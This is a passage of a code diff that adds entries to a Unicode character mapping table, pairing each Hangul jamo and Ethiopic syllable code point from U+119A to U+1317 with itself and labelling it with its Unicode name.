+ ["\u119A", "\u119A"], /* HANGUL JUNGSEONG I-O */
+ ["\u119B", "\u119B"], /* HANGUL JUNGSEONG I-U */
+ ["\u119C", "\u119C"], /* HANGUL JUNGSEONG I-EU */
+ ["\u119D", "\u119D"], /* HANGUL JUNGSEONG I-ARAEA */
+ ["\u119E", "\u119E"], /* HANGUL JUNGSEONG ARAEA */
+ ["\u119F", "\u119F"], /* HANGUL JUNGSEONG ARAEA-EO */
+ ["\u11A0", "\u11A0"], /* HANGUL JUNGSEONG ARAEA-U */
+ ["\u11A1", "\u11A1"], /* HANGUL JUNGSEONG ARAEA-I */
+ ["\u11A2", "\u11A2"], /* HANGUL JUNGSEONG SSANGARAEA */
+ ["\u11A3", "\u11A3"], /* HANGUL JUNGSEONG A-EU */
+ ["\u11A4", "\u11A4"], /* HANGUL JUNGSEONG YA-U */
+ ["\u11A5", "\u11A5"], /* HANGUL JUNGSEONG YEO-YA */
+ ["\u11A6", "\u11A6"], /* HANGUL JUNGSEONG O-YA */
+ ["\u11A7", "\u11A7"], /* HANGUL JUNGSEONG O-YAE */
+ ["\u11A8", "\u11A8"], /* HANGUL JONGSEONG KIYEOK */
+ ["\u11A9", "\u11A9"], /* HANGUL JONGSEONG SSANGKIYEOK */
+ ["\u11AA", "\u11AA"], /* HANGUL JONGSEONG KIYEOK-SIOS */
+ ["\u11AB", "\u11AB"], /* HANGUL JONGSEONG NIEUN */
+ ["\u11AC", "\u11AC"], /* HANGUL JONGSEONG NIEUN-CIEUC */
+ ["\u11AD", "\u11AD"], /* HANGUL JONGSEONG NIEUN-HIEUH */
+ ["\u11AE", "\u11AE"], /* HANGUL JONGSEONG TIKEUT */
+ ["\u11AF", "\u11AF"], /* HANGUL JONGSEONG RIEUL */
+ ["\u11B0", "\u11B0"], /* HANGUL JONGSEONG RIEUL-KIYEOK */
+ ["\u11B1", "\u11B1"], /* HANGUL JONGSEONG RIEUL-MIEUM */
+ ["\u11B2", "\u11B2"], /* HANGUL JONGSEONG RIEUL-PIEUP */
+ ["\u11B3", "\u11B3"], /* HANGUL JONGSEONG RIEUL-SIOS */
+ ["\u11B4", "\u11B4"], /* HANGUL JONGSEONG RIEUL-THIEUTH */
+ ["\u11B5", "\u11B5"], /* HANGUL JONGSEONG RIEUL-PHIEUPH */
+ ["\u11B6", "\u11B6"], /* HANGUL JONGSEONG RIEUL-HIEUH */
+ ["\u11B7", "\u11B7"], /* HANGUL JONGSEONG MIEUM */
+ ["\u11B8", "\u11B8"], /* HANGUL JONGSEONG PIEUP */
+ ["\u11B9", "\u11B9"], /* HANGUL JONGSEONG PIEUP-SIOS */
+ ["\u11BA", "\u11BA"], /* HANGUL JONGSEONG SIOS */
+ ["\u11BB", "\u11BB"], /* HANGUL JONGSEONG SSANGSIOS */
+ ["\u11BC", "\u11BC"], /* HANGUL JONGSEONG IEUNG */
+ ["\u11BD", "\u11BD"], /* HANGUL JONGSEONG CIEUC */
+ ["\u11BE", "\u11BE"], /* HANGUL JONGSEONG CHIEUCH */
+ ["\u11BF", "\u11BF"], /* HANGUL JONGSEONG KHIEUKH */
+ ["\u11C0", "\u11C0"], /* HANGUL JONGSEONG THIEUTH */
+ ["\u11C1", "\u11C1"], /* HANGUL JONGSEONG PHIEUPH */
+ ["\u11C2", "\u11C2"], /* HANGUL JONGSEONG HIEUH */
+ ["\u11C3", "\u11C3"], /* HANGUL JONGSEONG KIYEOK-RIEUL */
+ ["\u11C4", "\u11C4"], /* HANGUL JONGSEONG KIYEOK-SIOS-KIYEOK */
+ ["\u11C5", "\u11C5"], /* HANGUL JONGSEONG NIEUN-KIYEOK */
+ ["\u11C6", "\u11C6"], /* HANGUL JONGSEONG NIEUN-TIKEUT */
+ ["\u11C7", "\u11C7"], /* HANGUL JONGSEONG NIEUN-SIOS */
+ ["\u11C8", "\u11C8"], /* HANGUL JONGSEONG NIEUN-PANSIOS */
+ ["\u11C9", "\u11C9"], /* HANGUL JONGSEONG NIEUN-THIEUTH */
+ ["\u11CA", "\u11CA"], /* HANGUL JONGSEONG TIKEUT-KIYEOK */
+ ["\u11CB", "\u11CB"], /* HANGUL JONGSEONG TIKEUT-RIEUL */
+ ["\u11CC", "\u11CC"], /* HANGUL JONGSEONG RIEUL-KIYEOK-SIOS */
+ ["\u11CD", "\u11CD"], /* HANGUL JONGSEONG RIEUL-NIEUN */
+ ["\u11CE", "\u11CE"], /* HANGUL JONGSEONG RIEUL-TIKEUT */
+ ["\u11CF", "\u11CF"], /* HANGUL JONGSEONG RIEUL-TIKEUT-HIEUH */
+ ["\u11D0", "\u11D0"], /* HANGUL JONGSEONG SSANGRIEUL */
+ ["\u11D1", "\u11D1"], /* HANGUL JONGSEONG RIEUL-MIEUM-KIYEOK */
+ ["\u11D2", "\u11D2"], /* HANGUL JONGSEONG RIEUL-MIEUM-SIOS */
+ ["\u11D3", "\u11D3"], /* HANGUL JONGSEONG RIEUL-PIEUP-SIOS */
+ ["\u11D4", "\u11D4"], /* HANGUL JONGSEONG RIEUL-PIEUP-HIEUH */
+ ["\u11D5", "\u11D5"], /* HANGUL JONGSEONG RIEUL-KAPYEOUNPIEUP */
+ ["\u11D6", "\u11D6"], /* HANGUL JONGSEONG RIEUL-SSANGSIOS */
+ ["\u11D7", "\u11D7"], /* HANGUL JONGSEONG RIEUL-PANSIOS */
+ ["\u11D8", "\u11D8"], /* HANGUL JONGSEONG RIEUL-KHIEUKH */
+ ["\u11D9", "\u11D9"], /* HANGUL JONGSEONG RIEUL-YEORINHIEUH */
+ ["\u11DA", "\u11DA"], /* HANGUL JONGSEONG MIEUM-KIYEOK */
+ ["\u11DB", "\u11DB"], /* HANGUL JONGSEONG MIEUM-RIEUL */
+ ["\u11DC", "\u11DC"], /* HANGUL JONGSEONG MIEUM-PIEUP */
+ ["\u11DD", "\u11DD"], /* HANGUL JONGSEONG MIEUM-SIOS */
+ ["\u11DE", "\u11DE"], /* HANGUL JONGSEONG MIEUM-SSANGSIOS */
+ ["\u11DF", "\u11DF"], /* HANGUL JONGSEONG MIEUM-PANSIOS */
+ ["\u11E0", "\u11E0"], /* HANGUL JONGSEONG MIEUM-CHIEUCH */
+ ["\u11E1", "\u11E1"], /* HANGUL JONGSEONG MIEUM-HIEUH */
+ ["\u11E2", "\u11E2"], /* HANGUL JONGSEONG KAPYEOUNMIEUM */
+ ["\u11E3", "\u11E3"], /* HANGUL JONGSEONG PIEUP-RIEUL */
+ ["\u11E4", "\u11E4"], /* HANGUL JONGSEONG PIEUP-PHIEUPH */
+ ["\u11E5", "\u11E5"], /* HANGUL JONGSEONG PIEUP-HIEUH */
+ ["\u11E6", "\u11E6"], /* HANGUL JONGSEONG KAPYEOUNPIEUP */
+ ["\u11E7", "\u11E7"], /* HANGUL JONGSEONG SIOS-KIYEOK */
+ ["\u11E8", "\u11E8"], /* HANGUL JONGSEONG SIOS-TIKEUT */
+ ["\u11E9", "\u11E9"], /* HANGUL JONGSEONG SIOS-RIEUL */
+ ["\u11EA", "\u11EA"], /* HANGUL JONGSEONG SIOS-PIEUP */
+ ["\u11EB", "\u11EB"], /* HANGUL JONGSEONG PANSIOS */
+ ["\u11EC", "\u11EC"], /* HANGUL JONGSEONG IEUNG-KIYEOK */
+ ["\u11ED", "\u11ED"], /* HANGUL JONGSEONG IEUNG-SSANGKIYEOK */
+ ["\u11EE", "\u11EE"], /* HANGUL JONGSEONG SSANGIEUNG */
+ ["\u11EF", "\u11EF"], /* HANGUL JONGSEONG IEUNG-KHIEUKH */
+ ["\u11F0", "\u11F0"], /* HANGUL JONGSEONG YESIEUNG */
+ ["\u11F1", "\u11F1"], /* HANGUL JONGSEONG YESIEUNG-SIOS */
+ ["\u11F2", "\u11F2"], /* HANGUL JONGSEONG YESIEUNG-PANSIOS */
+ ["\u11F3", "\u11F3"], /* HANGUL JONGSEONG PHIEUPH-PIEUP */
+ ["\u11F4", "\u11F4"], /* HANGUL JONGSEONG KAPYEOUNPHIEUPH */
+ ["\u11F5", "\u11F5"], /* HANGUL JONGSEONG HIEUH-NIEUN */
+ ["\u11F6", "\u11F6"], /* HANGUL JONGSEONG HIEUH-RIEUL */
+ ["\u11F7", "\u11F7"], /* HANGUL JONGSEONG HIEUH-MIEUM */
+ ["\u11F8", "\u11F8"], /* HANGUL JONGSEONG HIEUH-PIEUP */
+ ["\u11F9", "\u11F9"], /* HANGUL JONGSEONG YEORINHIEUH */
+ ["\u11FA", "\u11FA"], /* HANGUL JONGSEONG KIYEOK-NIEUN */
+ ["\u11FB", "\u11FB"], /* HANGUL JONGSEONG KIYEOK-PIEUP */
+ ["\u11FC", "\u11FC"], /* HANGUL JONGSEONG KIYEOK-CHIEUCH */
+ ["\u11FD", "\u11FD"], /* HANGUL JONGSEONG KIYEOK-KHIEUKH */
+ ["\u11FE", "\u11FE"], /* HANGUL JONGSEONG KIYEOK-HIEUH */
+ ["\u11FF", "\u11FF"], /* HANGUL JONGSEONG SSANGNIEUN */
+ ["\u1200", "\u1200"], /* ETHIOPIC SYLLABLE HA */
+ ["\u1201", "\u1201"], /* ETHIOPIC SYLLABLE HU */
+ ["\u1202", "\u1202"], /* ETHIOPIC SYLLABLE HI */
+ ["\u1203", "\u1203"], /* ETHIOPIC SYLLABLE HAA */
+ ["\u1204", "\u1204"], /* ETHIOPIC SYLLABLE HEE */
+ ["\u1205", "\u1205"], /* ETHIOPIC SYLLABLE HE */
+ ["\u1206", "\u1206"], /* ETHIOPIC SYLLABLE HO */
+ ["\u1207", "\u1207"], /* ETHIOPIC SYLLABLE HOA */
+ ["\u1208", "\u1208"], /* ETHIOPIC SYLLABLE LA */
+ ["\u1209", "\u1209"], /* ETHIOPIC SYLLABLE LU */
+ ["\u120A", "\u120A"], /* ETHIOPIC SYLLABLE LI */
+ ["\u120B", "\u120B"], /* ETHIOPIC SYLLABLE LAA */
+ ["\u120C", "\u120C"], /* ETHIOPIC SYLLABLE LEE */
+ ["\u120D", "\u120D"], /* ETHIOPIC SYLLABLE LE */
+ ["\u120E", "\u120E"], /* ETHIOPIC SYLLABLE LO */
+ ["\u120F", "\u120F"], /* ETHIOPIC SYLLABLE LWA */
+ ["\u1210", "\u1210"], /* ETHIOPIC SYLLABLE HHA */
+ ["\u1211", "\u1211"], /* ETHIOPIC SYLLABLE HHU */
+ ["\u1212", "\u1212"], /* ETHIOPIC SYLLABLE HHI */
+ ["\u1213", "\u1213"], /* ETHIOPIC SYLLABLE HHAA */
+ ["\u1214", "\u1214"], /* ETHIOPIC SYLLABLE HHEE */
+ ["\u1215", "\u1215"], /* ETHIOPIC SYLLABLE HHE */
+ ["\u1216", "\u1216"], /* ETHIOPIC SYLLABLE HHO */
+ ["\u1217", "\u1217"], /* ETHIOPIC SYLLABLE HHWA */
+ ["\u1218", "\u1218"], /* ETHIOPIC SYLLABLE MA */
+ ["\u1219", "\u1219"], /* ETHIOPIC SYLLABLE MU */
+ ["\u121A", "\u121A"], /* ETHIOPIC SYLLABLE MI */
+ ["\u121B", "\u121B"], /* ETHIOPIC SYLLABLE MAA */
+ ["\u121C", "\u121C"], /* ETHIOPIC SYLLABLE MEE */
+ ["\u121D", "\u121D"], /* ETHIOPIC SYLLABLE ME */
+ ["\u121E", "\u121E"], /* ETHIOPIC SYLLABLE MO */
+ ["\u121F", "\u121F"], /* ETHIOPIC SYLLABLE MWA */
+ ["\u1220", "\u1220"], /* ETHIOPIC SYLLABLE SZA */
+ ["\u1221", "\u1221"], /* ETHIOPIC SYLLABLE SZU */
+ ["\u1222", "\u1222"], /* ETHIOPIC SYLLABLE SZI */
+ ["\u1223", "\u1223"], /* ETHIOPIC SYLLABLE SZAA */
+ ["\u1224", "\u1224"], /* ETHIOPIC SYLLABLE SZEE */
+ ["\u1225", "\u1225"], /* ETHIOPIC SYLLABLE SZE */
+ ["\u1226", "\u1226"], /* ETHIOPIC SYLLABLE SZO */
+ ["\u1227", "\u1227"], /* ETHIOPIC SYLLABLE SZWA */
+ ["\u1228", "\u1228"], /* ETHIOPIC SYLLABLE RA */
+ ["\u1229", "\u1229"], /* ETHIOPIC SYLLABLE RU */
+ ["\u122A", "\u122A"], /* ETHIOPIC SYLLABLE RI */
+ ["\u122B", "\u122B"], /* ETHIOPIC SYLLABLE RAA */
+ ["\u122C", "\u122C"], /* ETHIOPIC SYLLABLE REE */
+ ["\u122D", "\u122D"], /* ETHIOPIC SYLLABLE RE */
+ ["\u122E", "\u122E"], /* ETHIOPIC SYLLABLE RO */
+ ["\u122F", "\u122F"], /* ETHIOPIC SYLLABLE RWA */
+ ["\u1230", "\u1230"], /* ETHIOPIC SYLLABLE SA */
+ ["\u1231", "\u1231"], /* ETHIOPIC SYLLABLE SU */
+ ["\u1232", "\u1232"], /* ETHIOPIC SYLLABLE SI */
+ ["\u1233", "\u1233"], /* ETHIOPIC SYLLABLE SAA */
+ ["\u1234", "\u1234"], /* ETHIOPIC SYLLABLE SEE */
+ ["\u1235", "\u1235"], /* ETHIOPIC SYLLABLE SE */
+ ["\u1236", "\u1236"], /* ETHIOPIC SYLLABLE SO */
+ ["\u1237", "\u1237"], /* ETHIOPIC SYLLABLE SWA */
+ ["\u1238", "\u1238"], /* ETHIOPIC SYLLABLE SHA */
+ ["\u1239", "\u1239"], /* ETHIOPIC SYLLABLE SHU */
+ ["\u123A", "\u123A"], /* ETHIOPIC SYLLABLE SHI */
+ ["\u123B", "\u123B"], /* ETHIOPIC SYLLABLE SHAA */
+ ["\u123C", "\u123C"], /* ETHIOPIC SYLLABLE SHEE */
+ ["\u123D", "\u123D"], /* ETHIOPIC SYLLABLE SHE */
+ ["\u123E", "\u123E"], /* ETHIOPIC SYLLABLE SHO */
+ ["\u123F", "\u123F"], /* ETHIOPIC SYLLABLE SHWA */
+ ["\u1240", "\u1240"], /* ETHIOPIC SYLLABLE QA */
+ ["\u1241", "\u1241"], /* ETHIOPIC SYLLABLE QU */
+ ["\u1242", "\u1242"], /* ETHIOPIC SYLLABLE QI */
+ ["\u1243", "\u1243"], /* ETHIOPIC SYLLABLE QAA */
+ ["\u1244", "\u1244"], /* ETHIOPIC SYLLABLE QEE */
+ ["\u1245", "\u1245"], /* ETHIOPIC SYLLABLE QE */
+ ["\u1246", "\u1246"], /* ETHIOPIC SYLLABLE QO */
+ ["\u1247", "\u1247"], /* ETHIOPIC SYLLABLE QOA */
+ ["\u1248", "\u1248"], /* ETHIOPIC SYLLABLE QWA */
+ ["\u1249", "\u1249"],
+ ["\u124A", "\u124A"], /* ETHIOPIC SYLLABLE QWI */
+ ["\u124B", "\u124B"], /* ETHIOPIC SYLLABLE QWAA */
+ ["\u124C", "\u124C"], /* ETHIOPIC SYLLABLE QWEE */
+ ["\u124D", "\u124D"], /* ETHIOPIC SYLLABLE QWE */
+ ["\u124E", "\u124E"],
+ ["\u124F", "\u124F"],
+ ["\u1250", "\u1250"], /* ETHIOPIC SYLLABLE QHA */
+ ["\u1251", "\u1251"], /* ETHIOPIC SYLLABLE QHU */
+ ["\u1252", "\u1252"], /* ETHIOPIC SYLLABLE QHI */
+ ["\u1253", "\u1253"], /* ETHIOPIC SYLLABLE QHAA */
+ ["\u1254", "\u1254"], /* ETHIOPIC SYLLABLE QHEE */
+ ["\u1255", "\u1255"], /* ETHIOPIC SYLLABLE QHE */
+ ["\u1256", "\u1256"], /* ETHIOPIC SYLLABLE QHO */
+ ["\u1257", "\u1257"],
+ ["\u1258", "\u1258"], /* ETHIOPIC SYLLABLE QHWA */
+ ["\u1259", "\u1259"],
+ ["\u125A", "\u125A"], /* ETHIOPIC SYLLABLE QHWI */
+ ["\u125B", "\u125B"], /* ETHIOPIC SYLLABLE QHWAA */
+ ["\u125C", "\u125C"], /* ETHIOPIC SYLLABLE QHWEE */
+ ["\u125D", "\u125D"], /* ETHIOPIC SYLLABLE QHWE */
+ ["\u125E", "\u125E"],
+ ["\u125F", "\u125F"],
+ ["\u1260", "\u1260"], /* ETHIOPIC SYLLABLE BA */
+ ["\u1261", "\u1261"], /* ETHIOPIC SYLLABLE BU */
+ ["\u1262", "\u1262"], /* ETHIOPIC SYLLABLE BI */
+ ["\u1263", "\u1263"], /* ETHIOPIC SYLLABLE BAA */
+ ["\u1264", "\u1264"], /* ETHIOPIC SYLLABLE BEE */
+ ["\u1265", "\u1265"], /* ETHIOPIC SYLLABLE BE */
+ ["\u1266", "\u1266"], /* ETHIOPIC SYLLABLE BO */
+ ["\u1267", "\u1267"], /* ETHIOPIC SYLLABLE BWA */
+ ["\u1268", "\u1268"], /* ETHIOPIC SYLLABLE VA */
+ ["\u1269", "\u1269"], /* ETHIOPIC SYLLABLE VU */
+ ["\u126A", "\u126A"], /* ETHIOPIC SYLLABLE VI */
+ ["\u126B", "\u126B"], /* ETHIOPIC SYLLABLE VAA */
+ ["\u126C", "\u126C"], /* ETHIOPIC SYLLABLE VEE */
+ ["\u126D", "\u126D"], /* ETHIOPIC SYLLABLE VE */
+ ["\u126E", "\u126E"], /* ETHIOPIC SYLLABLE VO */
+ ["\u126F", "\u126F"], /* ETHIOPIC SYLLABLE VWA */
+ ["\u1270", "\u1270"], /* ETHIOPIC SYLLABLE TA */
+ ["\u1271", "\u1271"], /* ETHIOPIC SYLLABLE TU */
+ ["\u1272", "\u1272"], /* ETHIOPIC SYLLABLE TI */
+ ["\u1273", "\u1273"], /* ETHIOPIC SYLLABLE TAA */
+ ["\u1274", "\u1274"], /* ETHIOPIC SYLLABLE TEE */
+ ["\u1275", "\u1275"], /* ETHIOPIC SYLLABLE TE */
+ ["\u1276", "\u1276"], /* ETHIOPIC SYLLABLE TO */
+ ["\u1277", "\u1277"], /* ETHIOPIC SYLLABLE TWA */
+ ["\u1278", "\u1278"], /* ETHIOPIC SYLLABLE CA */
+ ["\u1279", "\u1279"], /* ETHIOPIC SYLLABLE CU */
+ ["\u127A", "\u127A"], /* ETHIOPIC SYLLABLE CI */
+ ["\u127B", "\u127B"], /* ETHIOPIC SYLLABLE CAA */
+ ["\u127C", "\u127C"], /* ETHIOPIC SYLLABLE CEE */
+ ["\u127D", "\u127D"], /* ETHIOPIC SYLLABLE CE */
+ ["\u127E", "\u127E"], /* ETHIOPIC SYLLABLE CO */
+ ["\u127F", "\u127F"], /* ETHIOPIC SYLLABLE CWA */
+ ["\u1280", "\u1280"], /* ETHIOPIC SYLLABLE XA */
+ ["\u1281", "\u1281"], /* ETHIOPIC SYLLABLE XU */
+ ["\u1282", "\u1282"], /* ETHIOPIC SYLLABLE XI */
+ ["\u1283", "\u1283"], /* ETHIOPIC SYLLABLE XAA */
+ ["\u1284", "\u1284"], /* ETHIOPIC SYLLABLE XEE */
+ ["\u1285", "\u1285"], /* ETHIOPIC SYLLABLE XE */
+ ["\u1286", "\u1286"], /* ETHIOPIC SYLLABLE XO */
+ ["\u1287", "\u1287"], /* ETHIOPIC SYLLABLE XOA */
+ ["\u1288", "\u1288"], /* ETHIOPIC SYLLABLE XWA */
+ ["\u1289", "\u1289"],
+ ["\u128A", "\u128A"], /* ETHIOPIC SYLLABLE XWI */
+ ["\u128B", "\u128B"], /* ETHIOPIC SYLLABLE XWAA */
+ ["\u128C", "\u128C"], /* ETHIOPIC SYLLABLE XWEE */
+ ["\u128D", "\u128D"], /* ETHIOPIC SYLLABLE XWE */
+ ["\u128E", "\u128E"],
+ ["\u128F", "\u128F"],
+ ["\u1290", "\u1290"], /* ETHIOPIC SYLLABLE NA */
+ ["\u1291", "\u1291"], /* ETHIOPIC SYLLABLE NU */
+ ["\u1292", "\u1292"], /* ETHIOPIC SYLLABLE NI */
+ ["\u1293", "\u1293"], /* ETHIOPIC SYLLABLE NAA */
+ ["\u1294", "\u1294"], /* ETHIOPIC SYLLABLE NEE */
+ ["\u1295", "\u1295"], /* ETHIOPIC SYLLABLE NE */
+ ["\u1296", "\u1296"], /* ETHIOPIC SYLLABLE NO */
+ ["\u1297", "\u1297"], /* ETHIOPIC SYLLABLE NWA */
+ ["\u1298", "\u1298"], /* ETHIOPIC SYLLABLE NYA */
+ ["\u1299", "\u1299"], /* ETHIOPIC SYLLABLE NYU */
+ ["\u129A", "\u129A"], /* ETHIOPIC SYLLABLE NYI */
+ ["\u129B", "\u129B"], /* ETHIOPIC SYLLABLE NYAA */
+ ["\u129C", "\u129C"], /* ETHIOPIC SYLLABLE NYEE */
+ ["\u129D", "\u129D"], /* ETHIOPIC SYLLABLE NYE */
+ ["\u129E", "\u129E"], /* ETHIOPIC SYLLABLE NYO */
+ ["\u129F", "\u129F"], /* ETHIOPIC SYLLABLE NYWA */
+ ["\u12A0", "\u12A0"], /* ETHIOPIC SYLLABLE GLOTTAL A */
+ ["\u12A1", "\u12A1"], /* ETHIOPIC SYLLABLE GLOTTAL U */
+ ["\u12A2", "\u12A2"], /* ETHIOPIC SYLLABLE GLOTTAL I */
+ ["\u12A3", "\u12A3"], /* ETHIOPIC SYLLABLE GLOTTAL AA */
+ ["\u12A4", "\u12A4"], /* ETHIOPIC SYLLABLE GLOTTAL EE */
+ ["\u12A5", "\u12A5"], /* ETHIOPIC SYLLABLE GLOTTAL E */
+ ["\u12A6", "\u12A6"], /* ETHIOPIC SYLLABLE GLOTTAL O */
+ ["\u12A7", "\u12A7"], /* ETHIOPIC SYLLABLE GLOTTAL WA */
+ ["\u12A8", "\u12A8"], /* ETHIOPIC SYLLABLE KA */
+ ["\u12A9", "\u12A9"], /* ETHIOPIC SYLLABLE KU */
+ ["\u12AA", "\u12AA"], /* ETHIOPIC SYLLABLE KI */
+ ["\u12AB", "\u12AB"], /* ETHIOPIC SYLLABLE KAA */
+ ["\u12AC", "\u12AC"], /* ETHIOPIC SYLLABLE KEE */
+ ["\u12AD", "\u12AD"], /* ETHIOPIC SYLLABLE KE */
+ ["\u12AE", "\u12AE"], /* ETHIOPIC SYLLABLE KO */
+ ["\u12AF", "\u12AF"], /* ETHIOPIC SYLLABLE KOA */
+ ["\u12B0", "\u12B0"], /* ETHIOPIC SYLLABLE KWA */
+ ["\u12B1", "\u12B1"],
+ ["\u12B2", "\u12B2"], /* ETHIOPIC SYLLABLE KWI */
+ ["\u12B3", "\u12B3"], /* ETHIOPIC SYLLABLE KWAA */
+ ["\u12B4", "\u12B4"], /* ETHIOPIC SYLLABLE KWEE */
+ ["\u12B5", "\u12B5"], /* ETHIOPIC SYLLABLE KWE */
+ ["\u12B6", "\u12B6"],
+ ["\u12B7", "\u12B7"],
+ ["\u12B8", "\u12B8"], /* ETHIOPIC SYLLABLE KXA */
+ ["\u12B9", "\u12B9"], /* ETHIOPIC SYLLABLE KXU */
+ ["\u12BA", "\u12BA"], /* ETHIOPIC SYLLABLE KXI */
+ ["\u12BB", "\u12BB"], /* ETHIOPIC SYLLABLE KXAA */
+ ["\u12BC", "\u12BC"], /* ETHIOPIC SYLLABLE KXEE */
+ ["\u12BD", "\u12BD"], /* ETHIOPIC SYLLABLE KXE */
+ ["\u12BE", "\u12BE"], /* ETHIOPIC SYLLABLE KXO */
+ ["\u12BF", "\u12BF"],
+ ["\u12C0", "\u12C0"], /* ETHIOPIC SYLLABLE KXWA */
+ ["\u12C1", "\u12C1"],
+ ["\u12C2", "\u12C2"], /* ETHIOPIC SYLLABLE KXWI */
+ ["\u12C3", "\u12C3"], /* ETHIOPIC SYLLABLE KXWAA */
+ ["\u12C4", "\u12C4"], /* ETHIOPIC SYLLABLE KXWEE */
+ ["\u12C5", "\u12C5"], /* ETHIOPIC SYLLABLE KXWE */
+ ["\u12C6", "\u12C6"],
+ ["\u12C7", "\u12C7"],
+ ["\u12C8", "\u12C8"], /* ETHIOPIC SYLLABLE WA */
+ ["\u12C9", "\u12C9"], /* ETHIOPIC SYLLABLE WU */
+ ["\u12CA", "\u12CA"], /* ETHIOPIC SYLLABLE WI */
+ ["\u12CB", "\u12CB"], /* ETHIOPIC SYLLABLE WAA */
+ ["\u12CC", "\u12CC"], /* ETHIOPIC SYLLABLE WEE */
+ ["\u12CD", "\u12CD"], /* ETHIOPIC SYLLABLE WE */
+ ["\u12CE", "\u12CE"], /* ETHIOPIC SYLLABLE WO */
+ ["\u12CF", "\u12CF"], /* ETHIOPIC SYLLABLE WOA */
+ ["\u12D0", "\u12D0"], /* ETHIOPIC SYLLABLE PHARYNGEAL A */
+ ["\u12D1", "\u12D1"], /* ETHIOPIC SYLLABLE PHARYNGEAL U */
+ ["\u12D2", "\u12D2"], /* ETHIOPIC SYLLABLE PHARYNGEAL I */
+ ["\u12D3", "\u12D3"], /* ETHIOPIC SYLLABLE PHARYNGEAL AA */
+ ["\u12D4", "\u12D4"], /* ETHIOPIC SYLLABLE PHARYNGEAL EE */
+ ["\u12D5", "\u12D5"], /* ETHIOPIC SYLLABLE PHARYNGEAL E */
+ ["\u12D6", "\u12D6"], /* ETHIOPIC SYLLABLE PHARYNGEAL O */
+ ["\u12D7", "\u12D7"],
+ ["\u12D8", "\u12D8"], /* ETHIOPIC SYLLABLE ZA */
+ ["\u12D9", "\u12D9"], /* ETHIOPIC SYLLABLE ZU */
+ ["\u12DA", "\u12DA"], /* ETHIOPIC SYLLABLE ZI */
+ ["\u12DB", "\u12DB"], /* ETHIOPIC SYLLABLE ZAA */
+ ["\u12DC", "\u12DC"], /* ETHIOPIC SYLLABLE ZEE */
+ ["\u12DD", "\u12DD"], /* ETHIOPIC SYLLABLE ZE */
+ ["\u12DE", "\u12DE"], /* ETHIOPIC SYLLABLE ZO */
+ ["\u12DF", "\u12DF"], /* ETHIOPIC SYLLABLE ZWA */
+ ["\u12E0", "\u12E0"], /* ETHIOPIC SYLLABLE ZHA */
+ ["\u12E1", "\u12E1"], /* ETHIOPIC SYLLABLE ZHU */
+ ["\u12E2", "\u12E2"], /* ETHIOPIC SYLLABLE ZHI */
+ ["\u12E3", "\u12E3"], /* ETHIOPIC SYLLABLE ZHAA */
+ ["\u12E4", "\u12E4"], /* ETHIOPIC SYLLABLE ZHEE */
+ ["\u12E5", "\u12E5"], /* ETHIOPIC SYLLABLE ZHE */
+ ["\u12E6", "\u12E6"], /* ETHIOPIC SYLLABLE ZHO */
+ ["\u12E7", "\u12E7"], /* ETHIOPIC SYLLABLE ZHWA */
+ ["\u12E8", "\u12E8"], /* ETHIOPIC SYLLABLE YA */
+ ["\u12E9", "\u12E9"], /* ETHIOPIC SYLLABLE YU */
+ ["\u12EA", "\u12EA"], /* ETHIOPIC SYLLABLE YI */
+ ["\u12EB", "\u12EB"], /* ETHIOPIC SYLLABLE YAA */
+ ["\u12EC", "\u12EC"], /* ETHIOPIC SYLLABLE YEE */
+ ["\u12ED", "\u12ED"], /* ETHIOPIC SYLLABLE YE */
+ ["\u12EE", "\u12EE"], /* ETHIOPIC SYLLABLE YO */
+ ["\u12EF", "\u12EF"], /* ETHIOPIC SYLLABLE YOA */
+ ["\u12F0", "\u12F0"], /* ETHIOPIC SYLLABLE DA */
+ ["\u12F1", "\u12F1"], /* ETHIOPIC SYLLABLE DU */
+ ["\u12F2", "\u12F2"], /* ETHIOPIC SYLLABLE DI */
+ ["\u12F3", "\u12F3"], /* ETHIOPIC SYLLABLE DAA */
+ ["\u12F4", "\u12F4"], /* ETHIOPIC SYLLABLE DEE */
+ ["\u12F5", "\u12F5"], /* ETHIOPIC SYLLABLE DE */
+ ["\u12F6", "\u12F6"], /* ETHIOPIC SYLLABLE DO */
+ ["\u12F7", "\u12F7"], /* ETHIOPIC SYLLABLE DWA */
+ ["\u12F8", "\u12F8"], /* ETHIOPIC SYLLABLE DDA */
+ ["\u12F9", "\u12F9"], /* ETHIOPIC SYLLABLE DDU */
+ ["\u12FA", "\u12FA"], /* ETHIOPIC SYLLABLE DDI */
+ ["\u12FB", "\u12FB"], /* ETHIOPIC SYLLABLE DDAA */
+ ["\u12FC", "\u12FC"], /* ETHIOPIC SYLLABLE DDEE */
+ ["\u12FD", "\u12FD"], /* ETHIOPIC SYLLABLE DDE */
+ ["\u12FE", "\u12FE"], /* ETHIOPIC SYLLABLE DDO */
+ ["\u12FF", "\u12FF"], /* ETHIOPIC SYLLABLE DDWA */
+ ["\u1300", "\u1300"], /* ETHIOPIC SYLLABLE JA */
+ ["\u1301", "\u1301"], /* ETHIOPIC SYLLABLE JU */
+ ["\u1302", "\u1302"], /* ETHIOPIC SYLLABLE JI */
+ ["\u1303", "\u1303"], /* ETHIOPIC SYLLABLE JAA */
+ ["\u1304", "\u1304"], /* ETHIOPIC SYLLABLE JEE */
+ ["\u1305", "\u1305"], /* ETHIOPIC SYLLABLE JE */
+ ["\u1306", "\u1306"], /* ETHIOPIC SYLLABLE JO */
+ ["\u1307", "\u1307"], /* ETHIOPIC SYLLABLE JWA */
+ ["\u1308", "\u1308"], /* ETHIOPIC SYLLABLE GA */
+ ["\u1309", "\u1309"], /* ETHIOPIC SYLLABLE GU */
+ ["\u130A", "\u130A"], /* ETHIOPIC SYLLABLE GI */
+ ["\u130B", "\u130B"], /* ETHIOPIC SYLLABLE GAA */
+ ["\u130C", "\u130C"], /* ETHIOPIC SYLLABLE GEE */
+ ["\u130D", "\u130D"], /* ETHIOPIC SYLLABLE GE */
+ ["\u130E", "\u130E"], /* ETHIOPIC SYLLABLE GO */
+ ["\u130F", "\u130F"], /* ETHIOPIC SYLLABLE GOA */
+ ["\u1310", "\u1310"], /* ETHIOPIC SYLLABLE GWA */
+ ["\u1311", "\u1311"],
+ ["\u1312", "\u1312"], /* ETHIOPIC SYLLABLE GWI */
+ ["\u1313", "\u1313"], /* ETHIOPIC SYLLABLE GWAA */
+ ["\u1314", "\u1314"], /* ETHIOPIC SYLLABLE GWEE */
+ ["\u1315", "\u1315"], /* ETHIOPIC SYLLABLE GWE */
+ ["\u1316", "\u1316"],
+ ["\u1317", "\u1317"],
